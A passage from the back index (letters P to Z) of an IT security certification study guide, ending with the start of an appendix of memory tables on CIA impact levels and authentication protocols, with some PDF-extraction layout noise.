FERMA Risk Management Standard, 165-166 
file system policies (Group Policy), 301 
guidelines, 167 

incident response policies, 81-82 

IPsec policies on Active Directory (Group Policy), 301 
life cycle of, 66 

local policies (Group Policy), 300 

NAC policies, 644 

PDP, 555 

PEP, 555 

personally-owned, corporate-enabled mobile device policies, 330 
privacy policies, incident response/recovery, 458 
procedures, 167 

processes, 167 

public key policies (Group Policy), 301 
registry policies (Group Policy), 300 
restricted group policies (Group Policy), 300 
reviewing, 53, 66-70 

same-origin policies (AJAX), 374 

security policies, 78-82 

social media policies, 391 

standards, 167 

systems services policies (Group Policy), 300 


1054 


types of, 66 

updating, 67-70 
POP (Post Office Protocol), 627 
portable media devices, inventory/asset control, 450 
ports 

authentication, 802.1x, 226, 235 

encryption, 591 

HDMI ports, host security, 315 

scanners, 411 

SD ports, host security, 315 

security, 262-265, 305 

system ports, assigning, 264 

TCP/UDP port numbers, 265 
post-incident response (incident response/recovery), 480-481 
PPP (Point-to-Point Protocol), 394, 618 
PPTP (Point-to-Point Tunneling Protocol), 216 
presence (user availability), 626-627 
preventive controls, 104, 147 
PRI (Product Release Information) updates, 331 
Principles of Privacy (EU), 49 
print recognition, authentication, 546 
privacy/security 

CPO, 721 

EU Principles of Privacy, 49 

EU Safe Harbor Privacy Principles, 49 

Federal Privacy Act, 47 

health privacy, wearable technology security/privacy, 350 

impact ratings, 675 

incident response/recovery, 458 

mobile devices, 336-345, 350 

PGP, 594, 629 

PII, 77 

policies, 458 

wearable technology, 349-350 
private clouds, 42, 513-514, 651 
privileges 

elevation of, 528 
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escalation of, 362, 377 
least privilege, principle of, 80-81 
PRL (Preferred Roaming List) updates, 331 
PRNG (Pseudo-Random Number Generators), 578 
problem-solving, judgment in, 187 
procedural design (SDD), 701 
procedures 
defined, 65-67, 167 
employment procedures, 85-86 
reviewing, 68-70 
types of, 67 
updating, 68-70 
processes 
BCP critical processes/resources, 145 
defined, 65-66, 167 
forensic investigations, 84 
life cycle of, 66 
reviewing, 53, 67 
risk assessment, 137 
types of, 67 
updating, 67 
processors, 682 
productivity loss, ROI, 131 
profiling, social media, 659 
programmers, security requirements/goals, 718-719 
proposals (bidding), RFP, 76 
protection profiles (CC), 288-289 
protocols 
analyzers, 257-258, 414-415 
anomaly-based IDS/IPS, 196 
interoperability issues with integrated solutions, 494 
prototyping 
security solutions, 181 
software development method, 691 
provisional accreditation, 676 


provisioning/deprovisioning resources, integrated solutions, 500-501, 
531 
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proxies, remote access networks, 233 

proximity authentication devices, 442 
proximity readers, 277 

proxy firewalls, 203-204, 233, 236 

proxy servers, 210 

PST (Provisioning Service Targets), SPML, 556 
public clouds, 41, 513-516, 651 

public key cryptography, digital signatures, 577 
public key pinning, 608 

public key policies (Group Policy), 301 

purging data, 369, 453, 497 

push notification services, mobile device security/privacy, 339 
push-based authentication, 550 

PVS (Passive Vulnerability Scanners), 213 


Q 


qualitative risk analysis, 126-127 
quality of coding, 683 

quantitative risk analysis, 127 
quarantine/remediation (NAC), 270 
quotes (bidding), RFQ, 76 


R 


RA (Registration Authorities), 605 
RA (Request Authorities), SPML, 556 
RA (Risk Assessments), 71-72 
race conditions, application vulnerabilities, 367-368 
RAD (Rapid Application Development) model, software development, 
692 
radio frequencies 
restrictions, mobile device security, 336 
spectrum management, 342 
RADIUS (Remote Authentication Dial-In User Service), 226, 563-564 
RAID (Redundant Array of Inexpensive/Independent Disks), 249-253 
Rainbow Series (TCSEC), 287 
ransomware, 647 
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RAT (Remote Access Trojans), 647 
RBAC (Role-Based Access Control), 81, 551 
RC4, 584-585 
ROS, 584-585 
RC6, 584-585 
RDBMS (Relational Database Management System), identity 
propagation, 558 

RDP (Remote Desktop Protocol), 220 
reclassification of data, 44 
reconnaissance 

information-gathering, 385 

physical reconnaissance, wearable technology security/privacy, 349 
record-level encryption, 589-591 
recording mics, host security, 314 
recoverability, analyzing security solutions, 186 
recovery 

BCP recovery priorities, 147-148 

data recovery, 451-452 

MTBF, 146 

MTD, 146 

recovery controls, 104 

RPO, 146 

RTO, 146 

WRT, 146 
red team exercises, security assessments, 405 
reducing 

attack surfaces, 206 

risk, 135-137 
redundancy 

hardware, 248 

resiliency issues with integrated solutions, 496 
Regex Fuzzer, 685 
registry policies (Group Policy), 300 
regression testing, 678, 706 
regulations 

diverse industries, integrating, 45-50 

EU regulations, 49-50 
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export controls, 45 
policies/procedures, updating, 69 
regulatory entities, 53 
release/maintenance phase (SDLC), 676 
remanence, 454 
remediation/quarantine (NAC), 270 
remnants (data), 673 
application vulnerabilities, 369 
cloud computing virtualization vulnerabilities, 529 
data security in integrated solutions, 497-498 
resource provisioning/deprovisioning, 501, 531 
remote access 
application sharing, 619-620 
desktop sharing, 619-620 
dial-up connections, 617-618 
network design, 215-226, 229-237, 240 
RAT, 647 
remote administration, 618 
remote assistance, 620-621 
resources/services, 618 
SSL, 618 
VPN, 216, 618 
remote activation/deactivation (unauthorized), wearable technology 
security/privacy, 349 
remote administration, 618 
remote assistance, 330, 620-621 
remote journaling, 469 
remote locks, mobile devices, 718 
remote wiping devices, 332, 450, 718 
removable data storage, 337 
repairs 
costs, ROI, 131 
MTTR, 146 
replication, backups, 469 
reports 
after-action reports, security control reviews, 177 
collaboration tools, 624-625 
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SOC reports, 404 
reputation (ROJ), loss of, 131 
Request Timed Out code (ping command), 432 
requirements/goals 
gather phase (SDLC), 674 
requirements definitions lists, 701 
security, 717-724 
SRTM documents, 700 
researching security trends/threats 
best practices, 640-641 
emerging business tools, 651-653 
emerging threat sources, 660 
evolving technologies, 642 
global IA industry/community, 653-659 
new technologies/systems/services, 641-642 
RFC, 643 
threat intelligence, 643-649 
resetting passwords, 543 
residual risk, risk assessment, 140 
resiliency issues with integrated solutions, 494-496 
resources 
BCP critical processes/resources, 145 
BCP resource requirements, 147 
exhaustion, application vulnerabilities, 368 
provisioning/deprovisioning, 500-501, 531 
REST (Representational State Transfer), 372-373 
restricted group policies (Group Policy), 300 
retaining data, 451, 500 
retina scans, authentication, 545 
reusing 
assets, 673 
codes, application vulnerabilities, 370 
revenue loss during outage, ROI, 131 
reverse engineering, 177, 440-441, 464 
reverse proxies, 222, 235 
review systems, incident response/recovery, 461 
reviewing 
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code, 387-388 

logs, 658 

policies, 66-70 

procedures, 68-70 

processes, 67 

security controls, 175-177 
RF (Radio Frequencies), host security, 308-311 
RFC (Requests For Comments), 643 
RFC 2138, RADIUS, 564 
RFI (Requests For Information), 76 
RFID (Radio Frequency Identification), 313, 444, 710-711 
RFP (Requests For Proposal), 76 
RFQ (Requests For Quotes), 76 
Rijndael algorithm, AES, 583 
RIPEMD-160, 576 
risk management/mitigation, 726-727 

access controls, 103-108 

acquisitions/mergers, 42-43 

analysis, 125-127, 678 

appetite, defined, 135 

assessments, 125-126, 137-140 

auditors, 52 

BCP, 141-148 

BYOD, 56, 57 

CIA, 98-102 

client requirements, 53 

clouds, 41-42, 55 

competitors, 52 

continuous improvement/monitoring, 141 

COSO ERM, 163 

CRR assessments, 168-169 

de-perimeterization, 54-59 

detection, MSRD, 685 

diverse industries, integrating, 44-51 

divestitures/demergers, 42-43 

downstream liability, 58 

due care, 59 
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due diligence, 59 

emerging risks, updating policies/procedures, 70 

FERMA Risk Management Standard, 164-166 

impact of (magnitude of risk), 128 

ISO/IES 27005:2008 risk management process, 162 

IT governance, 148-166 

likelihood of threats, 128-130 

magnitude of impact (risk impact), 128 

mobile devices, 55-56 

network boundaries, 54-59 

NIST Framework for Improving Critical Infrastructure Cybersecurity, 

160 

OSSTMM, 163 

outsourcing, 41, 58-59 

partnerships, 40 

policies/procedures, 70 

profiles, 39 

reduction, 135-137 

regulatory entities, 53 

risk analysis, 125-127 

risk assessments, 125-126, 137-140 

risk management frameworks, NIST, 149-158 

risk profiles, 39 

risk reduction, 135-137 

ROI, 131-132 

security control frameworks, 109-120, 123, 162-163 

software assurance, 678 

source code escrow, 39 

SRTM, 108 

TCO, 133-134 

technical risk, translating in business terms, 134-135 

telecommuting, 55 

top-level management, 54 

updating policies/procedures, 70 

user behaviors, 39 

worst-case (extreme) scenario planning, 123-125 
Rivest and RSA, Ron, 586-587 
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robo hunters, 708 
ROI (Return on Investment), 131, 186 
roll backs (temporary), 670 
root-cause analysis (incident response/recovery), 480 
rooting mobile devices, 339 
rotating jobs, security policies, 79 
rotation schemes (backups), 467-468 
routers 

access lists, 305 

ACL, 54, 210, 658 

MD5 authentication, 266 

network segmentation, 269 

remote access networks, 233 

route protection, 266 

RTBH routing, 267 

security, 210 

transport security, 260 

trunking security, 260-262 
routing tables, 392-394 
RPO (Recovery Point Objective), 146 
RSA, 586-587, 655 
RTBH (Remotely Triggered Black Hole) routing, 267 
RTO (Recovery Time Objective), 146 
RTU (Remote Terminal Units), SCADA, 279 
rules 

access control, 552 

diverse industries, integrating, 44-45 

engagement, incident response, 83 

export controls, 45 

IDS/IPS, 196 

Snort IDS rules, writing, 259 
RUM (Real User Monitoring), 687 
runtime data integrity checks, SoC, 273 
runtime debugging, 385 


S 
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S/flow (Sampled Flow), data flow enforcement, 244 
S/MIME (Secure MIME), 596 
SA (Security Associations), IPsec, 580 
SaaS (Software as a Service), public clouds, 516 
SABSA (Sherwood Applied Business Security Architecture), 113-114 
Safe Harbor Privacy Principles (EU), 49 
safe harbors, 50 
sales staff, security requirements/goals, 717-718 
same-origin policies (AJAX), 374 
SAML (Security Assertion Markup Language), 560-562 
sandboxing, 370, 383, 525 
SAN (Storage Area Networks), 253 
Sarbanes-Oxley (SOX) Act, 46 
SAS (Statement on Auditing Standards) 70, 403 
SC (Security Categories), aggregate CIA scoring, 101-102 
SCADA (Supervisory Control and Data Acquisition), 279-280 
scalability, analyzing security solutions, 184 
scanners 
SCAP scanners, 416-419 
vulnerability scanners, 213-214, 235 
SCAP (Security Content Automation Protocol), 416-419, 437 
SCEP (Simple Certificate Enrollment Protocol), mobile devices, 332 
scientific/industrial equipment, 279 
scope 
BCP, 142 
severity of data breaches, 478 
scoring (aggregate CIA), 101-102 
screen mirroring, mobile devices, 330 
screened host firewalls, 207-208, 239 
screened subnets, 208, 239 
screening personnel, 85 
scripting (XSS), application vulnerabilities, 356 
scrubbing, defined, 296 
SD Elements, threat modeling, 649 
SD ports, host security, 315 
SDD (Software Design Documents), 701 
SDL File/Regex Fuzzer, 685 


1064 


SDLC (Systems Development Life Cycle), 665-673 
SDN (Software-Defined Networking), 254 
sealing TPM chips, 319 
SEAndroid (Security-Enhanced Android), 289 
search engines, 397 
search/seizure (incident response/recovery), 463 
search warrants, 463 
SecaaS (Security as a Service), 527 
secure boot, 317 
secure enclaves, 371, 521 
secure message format, asymmetric cryptography, 586 
secure volumes, 521 
securiCAD, threat modeling, 648 
security 
access controls, 103-108 
analyzing solutions, 184-186 
assessments, 383-405, 411, 414-444 
auditing, 88 
awareness training, 86-87 
BIA, 72 
BPA, 74 
categorizing data, 98-102 
CIA, 98-102 
Computer Security Act, 47 
contracts, 75-77 
controls/processes, 175-177, 724-725 
credit cards, 580, 590 
data categorization, 98-102 
deconstructing/reverse engineering security solutions, 177 
employment procedures, 85-86 
EU Electronic Security Directive, 50 
events versus incidents, 83 
FISMA, 47-48 
forensic investigations, 84 
IA, 72 
incident response, 81-83 
information, 89-90 
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ISA, 72 

logs, incident response/recovery, 461 

metrics, 177-180, 183-186 

mobile devices, 336-345, 350 

monitoring, 86, 669-670 

MOU, 73 

MSA, 75 

NDA, 74 

OLA, 73 

PCI DSS, 48 

physical security, 723-725 

policies, 78-82 

port security, 262-265 

prototyping solutions, 181 

RA, 71-72 

requirements/goals, 717-724 

reverse engineering/deconstructing security solutions, 177 
routers, 210, 266-267 

security control frameworks, 109-123, 162-163 
SLA, 73 

SRTM, 108 

testing solutions, 181 

threats, likelihood of, 128-130 

training, 86-87 

transport security, 260 

trends/threats, researching, 640-660, 708-709 
trunking security, 260-262 

unauthorized remote activation/deactivation, 349 
wearable technology, 349-350 

worst-case (extreme) scenario planning, 123-125 
zones, 268-269 

segmenting networks, integrated solution, 502 


seizure (search and), incident response/recovery, 463 


self-assessments (security-based), 402 
SELinux (Security-Enhanced Linux), trusted OS, 289 
sensitive data, improper storage of, 362 


sensors, 277-279 
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separation of duties, security policies, 78-79 
sequence-based versioning, 698 
servers 
application virtualization (terminal services), 322-323 
client-side processing versus, 371-376 
email servers and spam, 629 
proxy servers, 210 
RADIUS servers, 564 
resource provisioning/deprovisioning, 501 
single server hosts, virtualization and data security, 530 
service packs, patch management, 293 
services 
discovery, 657 
remote access, 618 
security trends/threats, researching, 641-642 
session hijacking, 359 
SET (Secure Electronic Transactions), 580 
SFC (System File Checker), switches, 437-438 
SGX (Software Guard Extensions), 581 
SHA-0 (Secure Hash Algorithm 0), 575 
SHA-1 (Secure Hash Algorithm 1), 575 
SHA-2 (Secure Hash Algorithm 2), 575 
SHA-3 (Secure Hash Algorithm 3), 575 
Shamir and RSA, Adi, 586-587 
sharing applications/desktops, 619-620 
Shibboleth, 561-562 
shoulder surfing, 389 
SHTTP (Secure HTTP), 580 
side loading applications, 334 
SIEM (Security Information and Event Management), 199, 232, 425- 
426 
signatures 
digital, 576-577 
electronic, 50 
IDS/IPS, 195 
signature dynamics, authentication, 545 
SIMPLE (Session Initiation Protocol for Instant Messaging and 
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Presence Leveraging Extensions), 627 

single platform hosts, virtualization and data security, 530 
single server hosts, virtualization and data security, 530 
single-factor authentication, 538 
single-tenancy cloud computing model, 515 
site-to-site VPN, 216-217 
Six Sigma, 121 
SKA (Shared Key Authentication), host security, 313 
Skipjack, 584-585 
slack space analysis, 464 
SLA (Service-Level Agreements), 73, 249, 531 
SLE (Single Loss Expectancy), magnitude of risk (risk impact), 128 
SLIP (Serial Line Internet Protocol), dial-up connections, 618 
smart cards, ownership factor authentication, 539 
smart watches, 346 
SMS (Short Message Service), mobile device security/privacy, 345 
SMTP (Simple Mail Transfer Protocol), 628 
sniffing (packet), 257-258, 414-415. See also eavesdropping 
snooping, VoIP, 631 
Snort IDS, writing rules, 259 
SOA (Service-Oriented Architectures), integration solutions, 506 
SOA (Statements of Applicability), 72 
SOA records (DNS), 395 
SOAP (Simple Object Access Protocol), 376. See also WSS 
SoC (System on a Chip), 271-274, 345 
SOC reports, 404 
social engineering attacks, 388-389, 626, 659 
social media 

collaboration sites, 632 

evolving platforms, 650 

malware, 391 

OSINT, 390-391 

policies, 391 

profiling, 659 

trust an, 390 
software 

acceptance testing, 678 
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acquiring, 679 
analyzing, 464 
antimalware, 291 
antispyware, 291 
antivirus software, 291, 439 
assurance, 677-688 
COTS software, 493 
deploying, secure design, 356 
development, 673-677, 680-706 
development methods, 688 
IaaS, public clouds, 516 
in-house developed applications/software, 493 
libraries, 672 
open source software, 493 
regression testing, 678 
SaaS, public clouds, 516 
secure design, 355 
standard libraries, 679 
tailored commercial (commercial customized) software, 493 
updates, 670 
vulnerabilities, 356-370 
Software Verify tool, runtime debugging, 385 
Solaris 10, TrustedSolaris, 290 
source (likelihood of threat), 130 
source code escrow, 39 
sovereignty of data, 50-51, 499 
SOW (Statements of Work), 75 
SP 800-12 Rev. 1, 115 
SP 800-16 Rev. 1, 115 
SP 800-18 Rev. 1, 115 
SP 800-30 Rev. 1, 115, 137 
SP 800-34 Rev. 1, 115, 143 
SP 800-35, 115 
SP 800-36, 115 
SP 800-37 Rev. 1, 115, 156-158 
SP 800-39, 116, 158 
SP 800-50, 116 


1069 


SP 800-53 Rev. 4, 116 

SP 800-53A Rev. 4, 116, 152-153 

SP 800-55 Rev. 1, 116 

SP 800-60 Vol. 1 Rev. 1, 116, 150-151 

SP 800-61 Rev. 2, 116 

SP 800-82 Rev. 2, 116, 280 

SP 800-84, 116 

SP 800-86, 116 

SP 800-88 Rev. 1, 116, 673 

SP 800-92, 116 

SP 800-101 Rev. 1, 116 

SP 800-115, 116 

SP 800-122, 116 

SP 800-123, 116 

SP 800-124 Rev. 1, 116 

SP 800-137, 116 

SP 800-144, 117 

SP 800-145, 117 

SP 800-146, 117 

SP 800-150, 117 

SP 800-153, 117 

SP 800-154 (Draft), 117 

SP 800-160, 117, 153-156 

SP 800-161, 117 

SP 800-162, 117 

SP 800-163, 117 

SP 800-164, 117 

SP 800-167, 117 

SP 800-175A and B, 117 

SP 800-181, 117 

SP 800-183, 117 

spam, 292, 523, 629 

spear phishing, 628 

spectrum management and tethering, 342 
SPF (Sender Policy Framework), email validating, 628 
spiral model, software development, 692, 698 
SPML (Service Provisioning Markup Language), 556 
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SPOF (Single Point of Failure), 253 
spoofing attacks, 261, 522, 628 
spyware, 291 
SQL injection attacks, 360-362 
SRK (Storage Root Keys), TPM chips, 319 
SRTM (Security Requirements Traceability Matrix), 108, 700 
SSAE 16 audits, 404 
SSH (Secure Shell), 220, 595 
SSID (Service Set Identifiers), 308, 312 
SSL (Secure Sockets Layer), 218, 579, 595, 618 
SSO (Single Sign-On), 540, 548-549, 558-560, 565 
stakeholders, security, 100, 717-726 
standard libraries, 679 
standard word passwords, 541 
standards, 167 
adherence to, 489 
competing standards, integration solutions, 490 
de facto standards, integrate solutions, 490 
ISO/IEC 27000 series, software development best practices, 680 
lack of standards in integration solutions, 490 
open standards, 489 
secure coding standards, 700 
stapling (OCSP), 608 
stateful firewalls, 202-203 
stateful matching, signature-based IDS/IPS, 195 
state management, 376 
static passwords, 541 
static testing, 686 
statistical anomaly-based IDS/IPS, 196 
steganography, 464, 591 
Sticky Mac, 263 
stolen/lost devices, 338 
storage 
cloud storage (end-user), 650 
collaboration tools, 624-625 
cookies, 364 
data storage, 336-338, 362, 451-452 
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encryption, 589-590 
HSM, 469 
integration solutions, 487-504 
media, disposal of, 453 
storage keys, TPM chips, 320 
stream ciphers, 584-585, 597-598 
subnets (screened), 208, 239 
surveillance, 275, 463 
swatch script (Perl), 425 
swipe patterns, mobile device authentication, 343 
switches 
network segmentation, 269 
port security, 262-265, 305 
remote access networks, 232 
SFC, 437-438 
spoofing, 261 
transparent bridging, 201 
transport security, 260 
trunking security, 260-262 
symmetric algorithms, 582-585, 599-602 
symmetric cryptography, 588, 602 
synthetic transaction monitoring, 686 
Sysinternals, 435-436 
systems 
applications, 334 
failures (authentication), cloud storage, 337 
lockdown. See configuring, configuration lockdown 
ports, assigning, 264 
process criticality, severity of data breaches, 479 
requirements (SDLC), 667 
security policies (FERMA Risk Management Standard), 166 
security trends/threats, researching, 641-642 
services policies (Group Policy), 300 
testing, 646 
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tabletop exercises, security self-assessments, 403 
TACACS+ (Terminal Access Controller Access-Control System Plus), 
226 
tags 
ARAT systems (RFID), 710 
ARPT systems (RFID), 710 
double tagging, 261 
RFID tags, 313 
trunking security, 261 
tailgating, 277 
tailored commercial (commercial customized) software, 493 
tampering, anti-tamper technology, 338 
tape vaulting, 469 
target penetration testing, 399 
Tastic RFID Thief, 444 
Tavares and CAST, Stafford, 585 
TCA (Third-Party Connection Agreements), 40 
TCO (Total Cost of Ownership), 133-134, 186 
TCP/UDP, port numbers, 265 
tcpdump command, 472 
TCSEC (Trusted Computer System Evaluation Criteria), 287. See also 
CC 
TDE (Transparent Data Encryption), 719 
TDF (Trusted Data Format), 494 
technical (logical) controls, 106-107, 725 
technical risk, translating in business terms, 134-135 
technologies, researching security trends/threats, 641-642 
telecommuting, 55, 618 
telemetry systems, SCADA, 279 
telephony systems, 630-632 
temporal metric group (CVSS), 416 
temporary roll backs, 670 
Teredo, 223 
terminal services, host security, 322-323 
terminating personnel, 86 
test data method, 668 
test/evaluation phase (SDLC), 668 
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tests 
acceptance testing, 678, 704 
BCP, 148 
black box (zero-knowledge) testing, 400-401 
blind penetration testing, 399 
document exchanged/reviews, 53 
double-blind penetration testing, 399 
dynamic testing, 686 
formal code reviews, 686 
full-knowledge testing, 400 
fuzzing, 363, 683-684 
gray box testing, 400-401 
GUI testing, 688 
integration testing, 705 
interface testing, 688 
level-specific test plans, 702 
lightweight code reviews, 686 
misuse case (negative) testing, 687 
network testing, 646 
onsite assessments, 53 
partial-knowledge testing, 400 
peer reviews, 706 
penetration testing, 398-401, 667, 670 
personnel testing, 646 
physical testing, 646 
policy reviews, 53 
process reviews, 53 
regression testing, 678, 706 
security solutions, 181 
Static testing, 686 
systems testing, 646 
target penetration testing, 399 
test coverage analysis, 687 
test data method, 676 
test/validate phase (SDLC), 676 
testing plans, 702-704 
type-specific test plans, 702 
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unit testing, 704 

user acceptance testing, 705 

validation testing, 676, 704 

verification testing, 676 

white box testing, 400-401 

zero-knowledge (black box) testing, 400-401 
tethering, 341-342 
texting 

collaboration risks, 625, 626 

encrypted IM, mobile device security/privacy, 340 

encrypted/unencrypted communication, wearable technology 

security/privacy, 349 

MMS, 345 

mobile device security/privacy, 340, 345 
theft of personal data and wearable technology security/privacy, 350 
third-party libraries, application vulnerabilities, 369 
third-party outsourcing, 41, 58-59 
threats 

agents, 139 

best practices, 640-641 

current threats, knowledge of, 646-647 

emerging business tools, 650-653 

emerging threats, 660, 706-707 

evolving technologies, 642 

global IA industry/community, 653-659 

identifying, risk assessments, 139 

insider threats, 459 

likelihood of threats, 128-130 

modeling, 648-649 

new technologies/systems/services, 641-642 

nonmalicious threats/misconfigurations, 459 

RFC, 643 

robo hunters, 708 

threat actors, 655-659 

threat intelligence, 643-649, 707 

Threat Modeling Tool, 648 

UTM, 194-195, 230 
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three-legged firewalls, 207, 239 
throughput rate (biometrics), 546 
time of check/time of use attacks, 367-368 
time-based restrictions, mobile device security, 336 
TLS (Transport Layer Security), 218-219, 579, 595 
TOGAF (The Open Group Architecture Framework), 113 
token devices, ownership factor authentication, 539 
tokenization, mobile device security/privacy, 340 
tokens, 607 
top-level management, risk management, 54 
topology discovery, 656 
TOTP (Time-Based One-Time Password) algorithm, authentication, 
540 

TPM (Trusted Platform Module) chips, 315, 319-320, 339, 520, 558 
traceroute tool, 395 
tracert tool, 395 
tracert/traceroute command, 433 
tracing paths, 465 
tracking 

devices, 450 

fitness trackers, 347, 350 

geolocation/GPS devices, 709-711 

mobile device, 718 

object tracking technologies, 709-711 

unauthorized tracking, 624 
traffic anomaly-based IDS/IPS, 196 
training, BCP training/exercises, 148 
transaction log backups, 467, 719 
transactional security, 580 
transfer risk reduction strategy, 136 
transferring data to uncontrolled storage, 338 
transparent bridging, 201 
transponders (RFID), 313 
transport security, 260 
Treadway Commission Framework, COSO, 119 
trends/threats of security, researching 

analysis, 130, 182-183, 424 
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best practices, 640-641 
emerging business tools, 650-653 
emerging threat sources, 660 
evolving technologies, 642 
global IA industry/community, 653-659 
new technologies/systems/ services, 641-642 
RFC, 643 
threat intelligence, 643-649 
Trojans, 626, 647 
trunking security, 260-262 
trust 
circles of (SAML), 560 
social media and, 390 
trusted OS (Operating Systems), 287-290 
trusted third-part (bridge) model (federated identities), 560 
TrustedSolaris, 290 
tshark command, 476-477 
TSIG (Transaction Signatures), 506 
TT&E (Testing, Training and Exercises), BCP, 148 
TTL (Time to Live), DNS records, 506 
tumbler locks, 442 
Twofish, 584, 585 
Type 1 hypervisors, 519 
Type 2 hypervisors, 519 
Type I errors. See FRR 
Type II. See FAR 
Type III authentication. See characteristic factor authentication 


U 


UDP (User Datagram Protocol), port numbers, 265 

UEFI (Unified Extensible Firmware Interface), boot loaders, 318 

unauthorized domain bridging, mobile device security/privacy, 344 

unauthorized remote activation/deactivation, wearable technology 
security/privacy, 349 

uncontrolled storage, transferring/backing up data to, 338 

unencrypted/encrypted communication, wearable technology 
security/privacy, 349 
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unified collaboration tools, 621-634 
uninvited guests, web conferencing, 621 
unit testing, 704 
UNIX 

command shell, host security, 301 

passwords, 544 

traceroute tool, 395 
unsecure direct object references, application vulnerabilities, 356 
unsigned applications, 334 
updates 

firmware, 316, 377 

FOTA updates, 331 

incident response plans, 481 

mobile devices, 331 

over-the-air updates, 331 

patches, 292-293, 302 

policies, 67-70 

PRI updates, 331 

PRL updates, 331 

procedures, 68-70 

processes, 67 

temporary roll backs, 670 

Zeeis updates, 331 
URL (Uniform Resource Locators), document collaboration, 624 
usability, analyzing security solutions, 185 
USA PATRIOT Act, 47-49 
USB (Universal Serial Bus) devices, 306, 338, 342, 607 
users 

acceptance testing, 705 

behaviors, 39-40, 335 

end-user cloud storage, 650 

hijacked accounts, 626 

managing, 39 

monitoring, 40 

personnel testing, 646 

PKI and digital certificates, 605 

presence (availability), 626-627 
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resource provisioning/deprovisioning, 500 
security, 86-87 
UTM (Unified Threat Management), 194-195, 230 


V 


V-shaped software development method, 690 
vacations (mandatory), security policies, 80 
Valgrind, 441 
validate/test phase (SDLC), 676 
validating 
email, 628 
input, application vulnerabilities, 360-362, 366 
validation testing, 676, 704 
value (assets/information), risk assessment, 138-139 
vascular scans, authentication, 545 
vaulting, 469 
VDI (Virtual Desktop Infrastructure), 221, 521 
vendors/consultants, 41, 655 
verification 
Software Verify tool, runtime debugging, 385 
verification testing, 676 
VeriSign, 605-607 
versioning, software development, 698 
vertical privilege escalation, 362 
video 
A/V systems, 278-279 
conferencing, 622-623 
IP video, 275 
physical access control systems, 277 
virtualization, 513 
client-based application virtualization (application streaming), 322-323 
container-based (operating system) virtualization, 520 
data remnants, resource provisioning/deprovisioning, 531 
high availability, 513 
hyperconverged infrastructures, 521 
hypervisors, 518-519 
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JVM, 373 
secure enclaves, 521 
secure volumes, 521 
server-based application virtualization (terminal services), 322-323 
VDI, 521 
virtual devices, resource provisioning/deprovisioning, 501, 531 
virtual networks, researching latest attacks, 645 
VNC, 330 
VPN, 618 
VTPM, 320, 520 
vulnerabilities, 527-530 
viruses, antivirus software, 291, 439 
visualization tools, 424 
VLAN (Virtual LAN), 198, 260-262, 488 
VMEscape, 527 
VNC (Virtual Network Computing), 221, 235, 330 
voice pattern recognition, authentication, 546 
VoIP (Voice over IP), 630-632 
volatile/persistent agents (NAC), 270 
volatility, order of (evidence collection), 470-471 
volumes (secure), 521 
VPN (Virtual Private Networks), 215-219, 235, 333, 618, 718 
VTPM (Virtual TPM), 320, 520 
vulnerabilities 
applications, 357-370 
assessments, 401-402, 647, 667, 670, 675 
current vulnerabilities, knowledge of, 646-647 
CVE, SCAP scanners, 416 
CVSS, 416-418 
emerging threats, adapt solutions, 706-707 
firmware, 377 
management systems, 402 
network vulnerability scanners, 413, 419 
OS, 377 
risk assessment, 139 
software, 356-370 
vulnerability cycles, 706 
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vulnerability scanners, 213-214, 235, 428, 523-524 
zero-day vulnerabilities, 647, 676 


W 


WAF (Web Application Firewalls), 212-213, 234, 371 
Walt Disney Magic Band and RFID, 710 
WAP (Wireless Access Points), 208-209, 239 
warded locks, 442 
warehouses (data), 494 
WASC (Web Application Security Consortium), software 
development best practices, 680 
watches (smart), 346 
Waterfall software development method, 689, 694, 697 
watermarking (digital), 591, 594 
WAYF (Where Are You From), 563 
weak interfaces/API (Application Programming Interfaces), cloud 
storage, 337 
wearable technology, 346-350. See also mobile devices 
web conferencing, 621-622 
webcams, host security, 314 
WEP (Wired Equivalent Privacy), host security, 310-311 
whaling, 629 
white box testing, 400-401 
white hats, 656 
white team exercises, security assessments, 405 
whitelists, 299, 360-362 
Whois protocol, OSINT, 391 
wildcard certificates, 603-604 
Windows Group Policy, 299-301, 306 
Windows Security Log, 439 
Windows Server 2003, passwords, 544 
wiping 
hard drives, 673 
mobile devices, 332, 450, 718 
remote wiping devices, 332, 450 
wireless controllers, 208-209, 239 
wireless devices, host security, 306-313 
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wireless networks. See WLAN 

wireless security, 311-313 

Wireshark, 257-258, 414-415 

WLAN (Wireless LAN), 208-209, 232, 308-313 
worms, IM, 626 

worst-case (extreme) scenario planning, 123-125 
WPA (Wi-Fi Protected Access), 311 

WPA-PSK, host security, 313 

WPA2 (Wi-Fi Protected Access 2), 311 
wrapping applications, 330 

WRT (Work Recovery Time), 146 

WSS (Web Services Security), 681. See also SOAP 


X 


X.500, DAP, 564 

X.509 certificates, 606 

XACML (Extensible Access Control Markup Language), 555-556 
Xcode 7, 334 

XHTML (Extensible Hypertext Markup Language), SAML, 560 
XML (Extensible Markup Language), 374, 555-556 

XMPP (Extensible Messaging and Presence Protocol), 627 

XN (Never Execute) bits (processors), 682 

XSS (Cross-Site Scripting), 356 


Y-Z 

Zachman Framework, 112 

Zebra, HC1 headset computer, 348 
Zeeis updates, 331 

Zenmap, 411 

Zephyr charts, 546 

zero-day vulnerabilities, 647, 676 
Zero Knowledge Proof, 588 
zero-knowledge (black box) testing, 400-401 
zero-trust models, 708 

zone transfers (DNS), 395 
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Appendix B. Memory Tables 


Chapter 3 


Table 3-1 Confidentiality, Integrity, and Availability Potential Impact Definitions 


CIA Tenet Low Moderate High 
Unauthorized Unauthorized 
disclosure will have disclosure will have 
limited adverse serious adverse 
effect on the effect on the 
organization. organization. 
Integrity Unauthorized Unauthorized 


modification will modification will 
have serious adverse have severe adverse 


effect on the effect on the 
organization. organization. 
Availability Unavailability will Unavailability will 
have limited have severe adverse 
adverse effect on effect on the 
the organization. organization. 


Chapter 5 


Table 5-12 Authentication Protocols 


Protocol Advantages Disadvantages Guidelines/Notes 
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CHAP 


MS- 
CHAP 
v1 


MS- 
CHAP 
v2 


EAP- 
MD5 
CHAP 


EAP- 
TLS 


EAP- 
TTLS 


Simplicity 


No passwords are 
exchanged 


Stronger password 
storage than CHAP 


No passwords are 
exchanged 


Stronger password 
storage than CHAP 


Mutual 
authentication 


As secure as EAP- 
TLS 


Only requires a 
certificate on the 
server 


Allows passwords 
on the client 


Password sent in Do not use 
cleartext 


Susceptible to dictionary Ensure complex 
and brute-force attacks passwords 


Susceptible to dictionary Ensure complex 
and brute-force attacks passwords 


Supported only on 
Microsoft devices 


Not supported on some 


legacy Microsoft clients 


Ensure complex 
passwords 


Requires a PKI 


More complex to 
configure 


Ensure complex 
passwords 
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Table 5-13 RADIUS and TACACS+ 


